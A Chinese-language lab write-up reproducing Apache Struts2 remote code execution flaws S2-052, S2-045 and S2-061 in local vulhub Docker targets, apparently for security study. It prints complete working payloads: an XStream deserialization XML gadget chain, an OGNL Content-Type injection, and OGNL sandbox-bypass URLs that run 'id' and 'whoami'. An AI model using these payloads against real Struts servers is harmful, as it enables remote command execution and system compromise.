Struts2漏洞复现

1、使用docker搭建vulhub环境(https://vulhub.org/),复现以下几个漏洞：

          复现S2-052远程代码执行漏洞

        复现S2-045远程代码执行漏洞

        复现S2-061远程代码执行漏洞

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API，鼓励开发者采用MVC架构。

1.1 搭建vulhub环境

1. git clone https://github.com/vulhub/vulhub.git 下载vulhub。

1. 安装docker-compose

1.2 复现S2-052远程代码执行漏洞

S2-052漏洞原理：

启用Struts  REST插件并使用XStream组件对XML进行反序列操作时，未对数据进行有效验证，可进行远程代码执行攻击。

(1) cd vulhub/struts2/s2-052 切换目录。

(2) 修改映射端口号为8082

(3)docker-compose up -d 启动

(4) http://192.168.200.116:8083

(5)进入id为3的edit界面，burpsuite抓包。

(6)send to repeater，修改数据包：

将Content-Type: application/x-www-form-urlencoded改为Content-Type: application/xml

将请求体内容_method=put&clientName=Bob&amount=33改为：

<map>

  <entry>

    <jdk.nashorn.internal.objects.NativeString>

      <flags>0</flags>

      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

        <dataHandler>

          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

            <is class="javax.crypto.CipherInputStream">

              <cipher class="javax.crypto.NullCipher">

                <initialized>false</initialized>

                <opmode>0</opmode>

                <serviceIterator class="javax.imageio.spi.FilterIterator">

                  <iter class="javax.imageio.spi.FilterIterator">

                    <iter class="java.util.Collections$EmptyIterator"/>

                    <next class="java.lang.ProcessBuilder">

                      <command>

                        <string>touch</string>

                        <string>temp/hello.txt</string>

                      </command>

                      <redirectErrorStream>false</redirectErrorStream>

                    </next>

                  </iter>

                  <filter class="javax.imageio.ImageIO$ContainsFilter">

                    <method>

                      <class>java.lang.ProcessBuilder</class>

                      <name>start</name>

                      <parameter-types/>

                    </method>

                    <name>foo</name>

                  </filter>

                  <next class="string">foo</next>

                </serviceIterator>

                <lock/>

              </cipher>

              <input class="java.lang.ProcessBuilder$NullInputStream"/>

              <ibuffer></ibuffer>

              <done>false</done>

              <ostart>0</ostart>

              <ofinish>0</ofinish>

              <closed>false</closed>

            </is>

            <consumed>false</consumed>

          </dataSource>

          <transferFlavors/>

        </dataHandler>

        <dataLen>0</dataLen>

      </value>

    </jdk.nashorn.internal.objects.NativeString>

    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>

  </entry>

  <entry>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

  </entry>

</map>

点击go:

(7) docker ps 查看靶场容器ID

docker exec -it 2096 /bin/bash进入容器。

(8)ls /tmp 查看,hello.txt创建成功。

1.3 复现S2-045远程代码执行漏洞

S2-045漏洞原理：

文件上传模块在处理文件上传的请求时候对异常信息做了捕获，并对异常信息做了 OGNL表达式处理。可通过注入OGNL语言进行命令执行。

(1) cd vulhub/struts2/s2-045 切换目录，修改映射端口号为8084。

(2) docker-compose up -d 启动。

(3) 访问：http://192.168.200.116:8084

(4)点击submit，burpsuite抓包。

(5)send to repeater：

将Content-Type: multipart/form-data; boundary=---------------------------862674606196141771994536450

改为Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',120*120)}.multipart/form-data

1.4 复现S2-061远程代码执行漏洞

S2-061漏洞原理：

漏洞缘于对输入验证不足，导致在计算原始用户输入时强制进行两次Object Graph Navigation Library（OGNL）计算。

当在Struts标签属性中强制使用OGNL表达式并可被外部输入修改时，攻击者可构造恶意的OGNL表达式触发漏洞。

(1) cd vulhub/struts2/s2-061 切换目录；修改映射端口为8085。

(2) docker-compose up -d 启动。

(3) http://192.168.200.116:8085

(4)验证漏洞是否存在：在url中输入：

http://192.168.200.116:8085/?id=%25%7b+%27test%27+%2b+(11+%2b+11).toString()%7d

按F12查看元素发现”est22”,说明存在漏洞。

(5)构造payload执行命令

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}